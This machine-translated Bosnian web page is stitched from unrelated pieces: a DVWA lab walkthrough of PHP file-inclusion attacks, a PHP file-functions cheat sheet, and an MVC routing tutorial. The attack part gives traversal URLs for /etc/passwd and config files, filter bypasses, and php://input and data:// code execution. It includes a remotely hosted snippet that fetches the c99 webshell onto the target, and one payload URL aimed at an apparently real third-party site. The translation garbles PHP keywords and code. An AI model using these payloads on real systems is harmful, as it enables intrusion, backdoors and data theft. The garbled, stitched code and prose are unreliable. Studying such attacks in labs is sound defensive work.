Izmišljeni prikaz php fajla. Datoteka - Čita sadržaj datoteke i stavlja ga u niz. Rad sa fajlovima na serveru

Ponekad se ubacivanje datoteke naziva uključivanjem, ponekad se smatra dijelom PHP injekcije (ubacivanje koda). Potonje nije sasvim tačno, budući da ranjivosti ubrizgavanja datoteka nisu nužno povezane sa izvršavanjem koda.

Ranjivost se može pojaviti kada se koriste (u PHP-u) izrazi kao što su:

  • zahtijevaj_jednom,
  • uključi_jednom,
  • uključiti,
  • zahtijevaju

Svaki od njih ima male nijanse, ali ono što im je zajedničko je to što uključuju datoteku u program i izvršavaju je. Ovi izrazi mogu uzrokovati probleme ako proslijede korisnički unos, a program ga ne filtrira dovoljno.

Usput, da, ovo su izrazi, a ne funkcije. Nije potrebno pisati ovako:

Require("somefile.php");

Poželjnija opcija je:

Zahtijevajte "somefile.php";

Ali ovo je povlačenje koje nema nikakve veze sa ranjivošću.

Ako su datoteke uključene pomoću izraza require_once, include_once, include, require, onda možemo reći da se ubrizgavanje koda također odvija u isto vrijeme. Međutim, moguće je uključiti datoteke bez pokretanja koda na serveru. Na primjer, web stranica mijenja svoj izgled na osnovu teme koju odabere korisnik. Naziv tema odgovara nazivu HTML datoteka koje se čitaju na serveru. U ovoj situaciji, ako je zahtjev formiran na način da se čita datoteka koja za to nije namijenjena (na primjer, PHP datoteka), tada će se umjesto izvršavanja naredbi prikazati PHP izvorni kod.

Korisnik može odrediti udaljenu ili lokalnu datoteku kao inkluzivnu datoteku. Na osnovu toga razlikuju se dvije odgovarajuće sorte:

  • lokalna injekcija datoteke
  • daljinsko ubacivanje datoteke

Opasnost od daljinskog uključivanja je izvršavanje proizvoljnog koda na ranjivom serveru. Ovo se obično koristi za backdoor infekcije.

Opasnost od lokalnog ubacivanja datoteka je u tome što korisnik može prikazati sadržaj datoteka za koje nema prava na pregled (programski izvorni kodovi, sistemske datoteke sa postavkama i lozinkama). Također, uz lokalno uključivanje, moguće je izvršiti kod treće strane (na primjer, za backdoor infekciju), ako je datoteka sa zlonamjernim kodom prethodno učitana na server, ili je korištena metoda trovanja dnevnika ili neke druge metode.

Lokalno uključivanje datoteka nije ništa manje opasno od uvođenja udaljenih datoteka.

Iskorišćavanje lokalnog ugrađivanja datoteka

Možete se okušati u ovoj ranjivosti u Damn Vulnerable Web Application (DVWA). Koristim Web Security Dojo, gdje je DVWA već instaliran.

Počnimo od niskog nivoa (niska DVWA sigurnost).

Idemo na stranicu za uključivanje datoteka http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Ako je vrijednost slična imenu datoteke (file1.php, file2.php) proslijeđena kao argument varijabli, onda možemo pretpostaviti da se koristi uključiti. Pošto je ekstenzija datoteke .php, datoteka se najvjerovatnije izvršava na serveru (tj. moguće je ubacivanje koda), a ne samo da se prikazuje za prikaz.

DVWA ima stranicu http://localhost/dvwa/about.php, nalazi se dva nivoa gore, hajde da pokušamo da je vidimo na ovaj način: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ about.php

Da, postoji ranjivost lokalnog uključivanja. Prilikom unosa, prelazi u gornje direktorijume (../) se ne filtriraju, lista fajlova za uključivanje nije iscrpna (umesto predloženog fajla*.php, izabrali smo about.php).

Ponekad se koriste uključene datoteke, ali adrese mogu izgledati, na primjer, ovako: http://localhost/dvwa/vulnerabilities/fi/?page=file1. U ovom slučaju, ekstenzija se može dodati skripti i skripta ugrađuje datoteku čije se ime konačno formira u skripti. Obično je ranjivost u ovom obliku teško/nemoguća iskoristiti.

Ljudi često vole dati nešto poput ovoga kao primjer iskorištavanja uključivanja lokalnih datoteka:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Kao što vidimo, uspjelo je. Ali pošto web pretraživači zanemaruju /r/n (znakove za novi red), moramo otvoriti kod kako bismo unose učinili čitljivim:

Nažalost, u /etc/passwd datoteci već duže vrijeme nema lozinki.

Sa servera možete povući razne datoteke postavki, SSL certifikate, u principu, bilo koji fajl koji je otvoren za čitanje svim korisnicima ili za koji web server ima dovoljno prava za čitanje:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Što se tiče dijeljenih hostinga, ponekad je moguće pogledati u tuđe foldere (opet, ako su korisnička prava neispravno konfigurirana).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Zadatak je kompliciran činjenicom da moramo znati putanju do datoteke.

Operacija daljinskog ubacivanja datoteke

PHP je veoma fleksibilan i programski jezik pogodan za programere. Naredbe za ugrađivanje datoteka i neke druge savršeno prepoznaju i ispravno obrađuju ne samo lokalne datoteke, već i URL-ove...

Pokušajmo umjesto imena fajla napisati URL stranice https://site/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Pogledajte kako zanimljivo ispada:

Desilo se sledeće: PHP interpreter je dobio komandu da uključi fajl/sajt https://site/. Otvorio je/skinuo odgovarajuću adresu i poslao rezultujući kod da se izvrši kao PHP program. Budući da PHP samo izvršava kod okružen odgovarajućim oznakama (u ovom slučaju koda uopće nije bilo) i sve ostalo ispisuje onako kako jest, cijela stranica web stranice izlazi onakva kakva jeste.

Naravno, ova ranjivost nam je interesantna ne zato što preko jednog sajta možemo da pregledamo druge sajtove.

  • Generiranje/pronalaženje backdoor izvornog koda
  • Kreiramo fajl koji je ispravan sa PHP tačke gledišta za izvršenje na serveru, koji sprema backdoor izvorni kod u PHP fajl
  • Sačuvajte primljeni kod u TEXT fajl
  • Otpremite ovu tekstualnu datoteku na kontrolirani server
  • Spremamo naš backdoor na ranjivi server koristeći uključivanje udaljenog fajla
  • Istaknuo sam riječ “tekst” iz razloga što na serveru pod našom kontrolom treba da postoji tekstualni fajl koji se ne bi trebao izvršavati na našem serveru. Naš server samo treba da pokaže svoj sadržaj.

    Da biste kreirali backdoor, možete koristiti Weevely, PhpSploit ili možete uzeti gotova rješenja. Ovaj put koristimo gotovu.

    Dodijelit ću varijablu $backdoor izvorni kod backdoor-a, koji preuzimam sa Githuba. Zatim koristim funkciju file_put_contents da sačuvam rezultirajući izvorni kod u datoteku c99unlimited.php.

    Kod koji sam stavio u tekstualnu datoteku

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "gotovo!";

    Dostupan je na http://miloserdov.org/sec.txt

    Sada, koristeći daljinsko uključivanje, postavljamo backdoor na ranjivi server.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Obratite pažnju na natpis urađeno!, prikazuje ga skripta, tj. vjerovatno je sve uspjelo.

    Pošto se skripta koja uključuje fajlove nalazi u http://localhost/dvwa/vulnerabilities/fi/ direktorijumu, i naš novi fajl sa backdoor-om je trebao biti sačuvan pod imenom c99unlimited.php, puna adresa backdoor-a na ranjivi server bi trebao biti: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Provjeravamo:

    Odlično, sada imamo sve funkcije koje administratoru web servera može trebati... i onima koji imaju pristup svom serveru.

    Zaobiđite filtriranje kada uključujete datoteke lokalno

    Pređimo na srednji nivo sigurnosti (podesivo u DVWA Security).

    Ako pogledamo izvorni kod (dugme Pogledaj izvor):

    tada ćemo vidjeti da su ../ karakteri sada filtrirani. Ovo će nas spriječiti da se premjestimo u direktorij viši od onog u kojem je ranjiva skripta pokrenuta.

    One. ništa neće raditi ovako:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Razmislimo o tome kako filtriranje funkcionira u ovom slučaju? Recimo da je riječ "loše" filtrirana, a zatim red kao

    dobro loše dobro

    nakon filtriranja izgledat će ovako:

    dobro dobro

    I ako ubacite ovakav red

    loše loše xo

    onda će se nakon filtriranja ("loše" ukloniti) ispasti

    Loše

    U ../ ponovo ubacujemo ../ u sredinu, ispada ..././

    Hajde da probamo ovu adresu http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Upalilo je!

    Drugo rješenje moglo bi biti kodiranje znakova u heksadecimalno kodiranje, primjer ovog reda:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" se može zamijeniti sa "%2E%2E%2f".

    Dvostruko heksadecimalno kodiranje se također praktikuje, u kojem se “../” zamjenjuje sa “%252E%252E%252F”

    Lokalno uključivanje datoteka prilikom dodavanja ekstenzije u skriptu

    Ako kod uključujući datoteke izgleda ovako:

    One. Ako se bilo kom korisničkom unosu doda .php ili neka druga ekstenzija, to ne dozvoljava da se zahtjev formira na način da se izvrši napad.

    Postoji nekoliko tehnika koje su dizajnirane za odbacivanje ekstenzije, ali se mogu smatrati zastarjelim jer rade na PHP 5.3, a čak i tada ne sve verzije. Međutim, administratori web servera su klinički konzervativni i radije ne diraju ništa ako radi. One. Postoji šansa da naiđete na server sa veoma drevnom verzijom PHP-a i trebali biste biti svjesni ovih tehnika.

    Korištenje nul bajta %00 (nul bajt)

    Null bajt se dodaje na kraju zahtjeva da se ignorira ekstenzija:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Druga metoda se naziva napadom obrezivanja putanje. Suština je da PHP skraćuje putanje duže od 4096 bajtova. U ovom slučaju, PHP ispravno otvara datoteku, čak i ako ima kose crte i tačke na kraju njenog imena. Ako kao parametar prosledite nešto poput?param1=../../../../etc/passwd/./././././ (gde se ./ ponavlja više hiljada puta), onda krajnju datoteku zajedno sa ekstenzijom (koju je skripta dodala, zbog čega je naziv datoteke postao uključuje/../../../../etc/passwd/./././././ .php) će biti odbačeno. I naziv datoteke će biti uključuje/../../../../etc/passwd/./././././. A pošto PHP nije zbunjen pratećim kosim crtama i ./ na kraju datoteke, on ih jednostavno ignoriše, ukupno će PHP otvoriti datoteku duž putanje uključuje/../../../../etc/ passwd.

    Zaobilaženje filtriranja za daljinsko ubacivanje datoteka

    Kao što smo već vidjeli u izvornom kodu, srednji nivo sigurnosti također filtrira http:// i https://.

    Sada http://localhost/dvwa/vulnerabilities/fi/?. Koristit ćemo potpuno istu tehniku ​​kao i zaobilaženje filtriranja s lokalnim uključivanjem. Generisani zahtjev:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    I također imajte na umu da se ne filtrira, na primjer ftp, tj. Ova opcija bi funkcionirala bez ikakvih trikova:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Dobijanje izvornog koda PHP skripti kada se uključuju datoteke sa php://filter

    Ovaj trik ne zahtijeva daljinsko uključivanje datoteke. Koristiće se neka vrsta meta omotača php://filter.

    Recimo da želimo vidjeti izvorni kod datoteke file1.php, tada će za našu situaciju zahtjev biti sastavljen ovako:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Obratite pažnju na besmisleni niz slova i brojeva - ovo je izvorni kod datoteke file1.php u base64 kodiranju. Pošto je base64, podržane su i binarne datoteke.

    Dekodirajmo fajl:

    Daljinsko izvršavanje koda sa php://input

    Ovo nije kao ugrađivanje fajlova i opet ne zahteva da otpremate fajlove.

    Kao pomoć, koristit ću FireFox ekstenziju, možete je koristiti i ili bilo koji drugi program (na primjer, curl) koji može prenijeti podatke pomoću POST metode.

    php://input ima pristup sirovom tijelu HTTP zahtjeva, da biste razumjeli šta uključuje("php://input") radi, otvorite stranicu

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    I u tijelu zahtjeva pošaljite ispravan PHP kod (na primjer, koristeći POST metodu). Ovo će vam omogućiti da izvršite bilo koju funkciju dozvoljenu na udaljenom serveru!

    Daljinsko izvršavanje koda sa data://

    Dodatno, PHP podržava data:// URL šemu. Možete postaviti kod direktno u GET parametar! Sljedeći test ne zahtijeva nikakve posebne alate, samo običan pretraživač za izvođenje napada.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Neki zaštitni zidovi web aplikacija mogu primijetiti sumnjiv niz u URL-u i blokirati zlonamjerni zahtjev. Ali postoji način za šifriranje stringa s barem base64 kodiranjem:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Izvrši proizvoljne komande iz /proc/self/environ

    /proc/self/environ je skladište procesne varijable. Ako Apache proces ima dovoljno prava da mu pristupi, onda kada otvorite web stranicu koja sadrži uključi sa sličnim URL-om,

    www.website.com/view.php?page=../../../../../proc/self/environ

    će proizvesti nešto slično

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Verzija/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET=/view.index.php? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Obratite pažnju na HTTP_USER_AGENT. Umjesto toga, možete zamijeniti ispravan PHP kod, koji će se izvršiti na udaljenom serveru.

    Urezivanje i ubrizgavanje trupaca kada se datoteke lokalno uključuju

    Nažalost, ova metoda više ne radi na novijim verzijama Apache-a.

    Njegova suština leži u činjenici da se napadačev kod ubacuje u logove web servera. Ovo se može učiniti zamjenom User-Agenta ili čak jednostavnim prosljeđivanjem u GET parametar.

    Statička injekcija udaljene datoteke

    Primjer statike uključuje:

    Možete koristiti statičko uključivanje u vrlo egzotičnim situacijama. Da biste ubacili zlonamjerni kod, potrebno je izvršiti napad čovjeka u sredini između dva servera: jedan od njih hostuje web aplikaciju pomoću uključivanja, a drugi hostuje datoteku koja se koristi za uključivanje.

    PHP file_exists("test.txt")//Da li datoteka postoji? filesize("test.txt");//Pronađi veličinu datoteke //Vraća se vremenska oznaka: fileatime("test.txt");//Datum posljednjeg pristupa datoteci //date("d M Y" , $atime); filemtime("test.txt");//Datum modifikacije datoteke //date("d M Y", $mtime); filectime("test.txt");//Datum kreiranja datoteke (Windows) //date("d M Y", $ctime); Datoteke: načini rada PHP resurs fopen (string ime datoteke, string mod) // resurs - vraća pokazivač na datoteku u slučaju uspjeha ili FALSE u slučaju greške Način rada Opisr r+ w w+ A a+ b
    otvoren fajl samo za čitanje;
    otvorite datoteku za čitanje i pisanje;
    otvorite datoteku samo za pisanje. Ako postoji, tada se trenutni sadržaj datoteke uništava. Trenutna pozicija je postavljena na početak;
    otvorite datoteku za čitanje i pisanje. Ako postoji, tada se trenutni sadržaj datoteke uništava. Trenutna pozicija je postavljena na početak;
    otvorite datoteku za pisanje. Trenutna pozicija je postavljena na kraj datoteke;
    otvorite datoteku za čitanje i pisanje. Trenutna pozicija je postavljena na kraj datoteke;
    obraditi binarnu datoteku. Ova zastavica je potrebna kada radite sa binarnim datotekama na Windows-u.
    Otvaranje i zatvaranje datoteka u PHP-u PHP $fi = fopen("test.html", "w+") ili die("Error"); //Primjeri $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Zatvori fclose($fi) Čitanje datoteka u PHP PHP-u //Čitanje datoteke fread(int fi, int dužina) $str = fread($fi, 5); // Čitanje prvih 5 znakova echo $str; // pošto se kursor pomerio $str = fread($fi, 12); // Čitanje sljedećih 12 znakova echo $str; fgets(int fi[, int dužina]) // Čitanje linije iz datoteke fgetss(int fi, int dužina [, string dozvoljeno]) // Čitanje reda iz datoteke i odbacivanje HTML oznaka // dozvoljeni niz - oznake koje treba ostaviti fgetc(int fi) //Čita karakter iz datoteke

    U početku, Write će se dogoditi na početku datoteke, prepisivanjem postojećih podataka, ako ih ima. Stoga, ako trebate nešto napisati na kraj datoteke, morate postaviti odgovarajući način čitanja, na primjer, a+.

    Manipulisanje kursorom u PHP datotekama PHP int fseek(int fi, int offset [, int wherece]) //Postavljanje kursora // int fi - pokazivač na datoteku //offset - broj znakova za pomicanje. //odakle: //SEEK_SET - kretanje počinje od početka datoteke; //SEEK_CUR - kretanje počinje od trenutne pozicije; //SEEK_END - kretanje počinje od kraja datoteke. fseek($fi, -10, SEEK_END); //Pročitaj zadnjih 10 znakova $s = fread($fi, 10); $pos = ftell($fi); // Saznaj trenutnu poziciju rewind($f) // resetiraj kursor bool feof($f) // kraj datoteke Direktan rad sa datotekama (podacima) u PHP PHP niz datoteka (string filename) // Dobij sadržaj datoteke u obliku niza // Druga opcija za direktan rad sa podacima file_get_contents(string filename) //Čitanje (dobijemo cijeli fajl u jednom redu) //Upisivanje u datoteku (početno prepisan) file_put_contents(string filename , mješoviti podaci[,int flag]); //FILE_APPEND // Upisuje se na kraj datoteke: file_put_contents("test.txt", "data", FILE_APPEND); //Ako napišete niz, $array = array("I", "live"); file_put_contents("test.txt",$array); //onda dobijamo "Ilive" Upravljanje fajlovima u php PHP copy(string source, string destination); // Kopiranje datoteke rename(str oldname, str newname); // Preimenuj datoteku unlink(string filename); // Brisanje fajla Učitavanje fajlova na PHP server // PHP.ini podešavanja file_uploads (on|off) // dozvoljavanje ili onemogućavanje slanja fajlova upload_tmp_dir // privremeni folder za otpremljene fajlove. po defaultu privremena mapa upload_max_filesize (zadano = 2 Mb) // max. veličina učitanog fajla post_max_size // ukupna veličina poslanog obrasca (mora biti veća od upload_max_filesize) //Jednostavno HTML upload Radimo sa fajlovima na PHP serveru //Primamo podatke $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["name"]; //Premjesti datoteku move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // preusmjeriti datoteku u folder za otpremanje // u odnosu na trenutni fajl // Šta je u nizu $_FILES $_FILES["userfile"]["name"] // naziv datoteke, na primjer, test.html $_FILES[ "userfile"][" tmp_name"] // naziv privremene datoteke (putanja) $_FILES["userfile"]["size"] // veličina datoteke $_FILES["userfile"]["type"] // tip datoteke $ _FILES["userfile"] ["error"] // 0 - nema grešaka, broj - da Mnogi ljudi počnu pisati projekat za rad s jednim zadatkom, ne implicirajući da može prerasti u sistem upravljanja s više korisnika, na primjer , sadržaja ili, ne daj Bože, produkcije. I sve izgleda super i cool, sve radi, dok ne počnete da shvatate da se kod koji je napisan u potpunosti sastoji od štaka i tvrdog koda. Kod je pomiješan s rasporedom, upitima i štakama, ponekad čak i nečitljiv. Pojavljuje se gorući problem: kada dodajete nove funkcije, morate dugo petljati s ovim kodom, pamteći "šta je tamo napisano?" i proklinje sebe u prošlosti.

    Možda ste čak čuli za uzorke dizajna i čak listali ove divne knjige:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides “Tehnike objektno orijentisanog dizajna. Dizajnerski obrasci";
    • M. Fowler "Arhitektura softverskih aplikacija preduzeća."
    I mnogi su, neustrašivi ogromnih priručnika i dokumentacije, pokušali da prouče bilo koji od modernih okvira i, suočeni sa složenošću razumijevanja (zbog prisustva mnogih arhitektonskih koncepata koji su vješto međusobno povezani), odložili su proučavanje i korištenje modernih alata u "sklonište".

    Ovaj članak će biti koristan prvenstveno za početnike. U svakom slučaju, nadam se da ćete za par sati moći steći ideju o implementaciji MVC obrasca, koji je u osnovi svih modernih web okvira, kao i dobiti „hranu“ za dalje razmišljanje o tome „kako da učini to." Na kraju članka nalazi se izbor korisnih veza koje će vam također pomoći da shvatite od čega se sastoje web okviri (osim MVC-a) i kako rade.

    Iskusni PHP programeri teško da će pronaći nešto novo za sebe u ovom članku, ali bi njihovi komentari i komentari na glavni tekst bili od velike pomoći! Jer Bez teorije praksa je nemoguća, a bez prakse teorija je beskorisna, onda će prvo biti malo teorije, a onda ćemo preći na praksu. Ako ste već upoznati sa konceptom MVC-a, možete preskočiti teoriju i preći direktno na praksu.

    1. Teorija MVC obrazac opisuje jednostavan način strukturiranja aplikacije, čija je svrha da odvoji poslovnu logiku od korisničkog interfejsa. Kao rezultat toga, aplikaciju je lakše skalirati, testirati, održavati i, naravno, implementirati.

    Pogledajmo konceptualni dijagram MVC uzorka (po mom mišljenju, ovo je najuspješniji dijagram koji sam vidio):

    U MVC arhitekturi, model obezbeđuje podatke i pravila poslovne logike, pogled je odgovoran za korisnički interfejs, a kontroler obezbeđuje interakciju između modela i pogleda.

    Tipičan tok MVC aplikacije može se opisati na sljedeći način:

  • Kada korisnik posjeti web resurs, skripta za inicijalizaciju kreira instancu aplikacije i pokreće je za izvršenje.
    Ovo prikazuje prikaz, recimo, glavne stranice stranice.
  • Aplikacija prima zahtjev od korisnika i određuje traženi kontroler i akciju. U slučaju glavne stranice, izvodi se zadana radnja ( index).
  • Aplikacija incitira kontroler i pokreće metodu akcije,
    koji, na primjer, sadrži pozive modela koji čitaju informacije iz baze podataka.
  • Nakon toga, akcija kreira prikaz s podacima dobivenim iz modela i prikazuje rezultat korisniku.
  • Model – sadrži poslovnu logiku aplikacije i uključuje metode za dohvaćanje (to mogu biti ORM metode), obradu (na primjer, pravila validacije) i pružanje specifičnih podataka, što ga često čini vrlo debelim, što je sasvim normalno.
    Model ne bi trebao direktno komunicirati s korisnikom. Sve varijable koje se odnose na korisnički zahtjev moraju se obraditi u kontroleru.
    Model ne bi trebao generirati HTML ili drugi kod za prikaz koji se može mijenjati ovisno o potrebama korisnika. Takav kod treba obraditi u prikazima.
    Isti model, na primjer: model provjere autentičnosti korisnika može se koristiti iu korisničkom i administrativnom dijelu aplikacije. U ovom slučaju, možete premjestiti opći kod u zasebnu klasu i naslijediti od nje, definirajući metode specifične za pod-aplikaciju u njegovim potomcima.

    Pogled - koristi se za određivanje eksternog prikaza podataka primljenih od kontrolera i modela.
    Pregledi sadrže HTML oznake i male umetke PHP koda za prelazak, formatiranje i prikaz podataka.
    Ne treba direktno pristupiti bazi podataka. To bi modeli trebali raditi.
    Ne bi trebalo raditi s podacima dobivenim iz zahtjeva korisnika. Ovaj zadatak mora izvršiti kontrolor.
    Može direktno pristupiti svojstvima i metodama kontrolera ili modela da dobije podatke spremne za izlaz.
    Pregledi se obično dijele na zajednički predložak, koji sadrži oznake zajedničke za sve stranice (na primjer, zaglavlje i podnožje) i dijelove predloška koji se koriste za prikaz izlaznih podataka iz modela ili prikaz obrazaca za unos podataka.

    Kontroler je ljepilo koje povezuje modele, poglede i druge komponente u radnu aplikaciju. Kontrolor je odgovoran za obradu zahtjeva korisnika. Kontroler ne bi trebao sadržavati SQL upite. Bolje ih je držati u modelima. Kontroler ne bi trebao sadržavati HTML ili druge oznake. Vrijedi ga staviti u vid.
    U dobro dizajniranoj MVC aplikaciji, kontroleri su obično vrlo tanki i sadrže samo nekoliko desetina linija koda. Isto se ne može reći za Stupid Fat Controllers (SFC) u CMS Joomla. Logika kontrolera je prilično tipična i većina se prenosi na osnovne klase.
    Modeli su, naprotiv, vrlo debeli i sadrže većinu koda koji se odnosi na obradu podataka, jer struktura podataka i poslovna logika sadržana u njoj obično su prilično specifične za određenu aplikaciju.

    1.1. Front Controller i Page Controller U većini slučajeva, interakcija korisnika sa web aplikacijom se dešava klikom na linkove. Pogledajte sada adresnu traku vašeg pretraživača - ovaj ste tekst dobili sa ovog linka. Druge veze, poput onih na desnoj strani ove stranice, pružit će vam drugačiji sadržaj. Dakle, veza predstavlja određenu naredbu za web aplikaciju.

    Nadam se da ste već primijetili da različite stranice mogu imati potpuno različite formate za izradu adresne trake. Svaki format može prikazati arhitekturu web aplikacije. Iako to nije uvijek slučaj, u većini slučajeva to je jasna činjenica.

    Razmotrimo dvije opcije za adresnu traku, koje prikazuju neki tekst i korisnički profil.

    Prva opcija:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Ovdje je svaka skripta odgovorna za izvršavanje određene komande.

    druga opcija:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • I ovdje se svi pozivi javljaju u jednoj index.php skripti.

    Možete vidjeti pristup više dodirnih tačaka na phpBB forumima. Forum se gleda preko viewforum.php skripte, tema se gleda preko viewtopic.php, itd. Drugi pristup, kojem se pristupa preko jedne fizičke skripte, može se vidjeti u mom omiljenom CMS MODX-u, gdje svi pozivi prolaze kroz index.php.

    Ova dva pristupa su potpuno različita. Prvi je tipičan za obrazac kontrolera stranice, a drugi pristup implementiran je šablonom Front Controller. Kontroler stranica je dobar za web lokacije s prilično jednostavnom logikom. Zauzvrat, kontrolor zahtjeva objedinjuje sve aktivnosti obrade zahtjeva na jednom mjestu, što mu daje dodatne mogućnosti koje vam mogu omogućiti implementaciju složenijih zadataka nego što ih obično rješava kontrolor stranice. Neću ulaziti u detalje implementacije kontrolera stranica, već ću samo reći da će u praktičnom dijelu biti razvijen kontroler zahtjeva (nešto slično).

    1.2. Usmjeravanje URL-ova Usmjeravanje URL-ova vam omogućava da konfigurirate svoju aplikaciju da prihvati zahtjeve sa URL-ova koji ne odgovaraju stvarnim datotekama aplikacije i da koristite CNC-ove koji su semantički značajni za korisnike i preferirani za optimizaciju pretraživača.

    Na primjer, za redovnu stranicu koja prikazuje obrazac za kontakt, URL može izgledati ovako:
    http://www.example.com/contacts.php?action=feedback

    Približan kod obrade u ovom slučaju:
    switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "O nama" prijelom stranice ; case "contacts" : require_once ("contacts.php" ); // stranica "Kontakti" prekid ; case "feedback" : require_once ("feedback.php" ); // stranica "Feedback" prekid ; default : require_once ("page404.php" ); // stranica "404" prekid ; )
    Mislim da su skoro svi to radili ranije.

    Koristeći mehanizam za usmjeravanje URL-a, možete konfigurirati svoju aplikaciju da prihvati zahtjeve poput ovog za prikaz istih informacija:
    http://www.example.com/contacts/feedback

    Ovdje kontakti predstavljaju kontroler, a povratna informacija je metoda kontrolera kontakata koja prikazuje obrazac za povratne informacije itd. Ovom pitanju ćemo se vratiti u praktičnom dijelu.

    Također je vrijedno znati da ruteri mnogih web okvira omogućavaju kreiranje prilagođenih URL ruta (navedite šta svaki dio URL-a znači) i pravila za njihovu obradu.
    Sada imamo dovoljno teoretskog znanja da pređemo na praksu.

    2. Prvo vježbajte, kreirajmo sljedeću strukturu datoteka i mapa:


    Gledajući unaprijed, reći ću da će osnovne klase Model, View i Controller biti pohranjene u core folderu.
    Njihova djeca će biti pohranjena u direktorije kontrolera, modela i pogleda. Datoteka index.php je ulazna tačka u aplikaciju. Datoteka bootstrap.php pokreće učitavanje aplikacije, povezuje sve potrebne module itd.

    Ići ćemo uzastopno; Otvorimo datoteku index.php i popunimo je sljedećim kodom:
    ini_set("display_errors" , 1); require_once "application/bootstrap.php" ;
    Ovdje ne bi trebalo biti nikakvih pitanja.

    Zatim, idemo odmah na datoteku bootstrap.php:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Route::start(); //pokreni ruter
    Prva tri reda će uključivati ​​trenutno nepostojeće datoteke kernela. Posljednji redovi uključuju datoteku s klasom rutera i pokreću je za izvršenje pozivanjem metode statičkog starta.

    2.1. Implementacija URL rutera Za sada, odstupimo od implementacije MVC obrasca i fokusiramo se na rutiranje. Prvi korak koji treba da uradimo je da napišemo sledeći kod u .htaccess:
    RewriteEngine na RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Ovaj kod će preusmjeriti svu obradu stranice na index.php, što nam je potrebno. Sjećate se da smo u prvom dijelu govorili o Front Controlleru?!

    Postavićemo rutiranje u posebnu datoteku route.php u jezgro direktorijuma. U ovoj datoteci ćemo opisati klasu Route, koja će pokretati metode kontrolera, koji će zauzvrat generirati prikaz stranice.

    Sadržaj datoteke route.php

    class Route ( statička funkcija start () ( // kontroler i zadana akcija $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // get ime kontrolera if (!empty ($routes)) ( $controller_name = $routes ; ) // dobijemo ime akcije if (!empty ($routes)) ( $action_name = $routes ; ) // dodaj prefikse $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // povežite datoteku sa klasom modela (možda ne postoji datoteka modela) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path)) (uključuje "application/models/" .$model_file ; ) // spojite datoteku sa klasom kontrolera $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path)) (uključuje "application/controllers/" .$e;controller_ ) else ( /* bilo bi ispravno da se ovdje izbaci izuzetak, ali da pojednostavimo stvari, odmah ćemo se preusmjeriti na stranicu 404 */ Route::ErrorPage404(); ) // kreiraj kontroler $controller = new $controller_name ; $action = $action_name ; if (method_exists($controller, $action)) ( // pozovite akciju kontrolera $controller ->$action (); ) else ( // ovdje bi također bilo mudrije izbaciti izuzetak Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 nije pronađen"); header("Status: 404 nije pronađen") ; header(" Lokacija:" .$host ."404" ); ) )


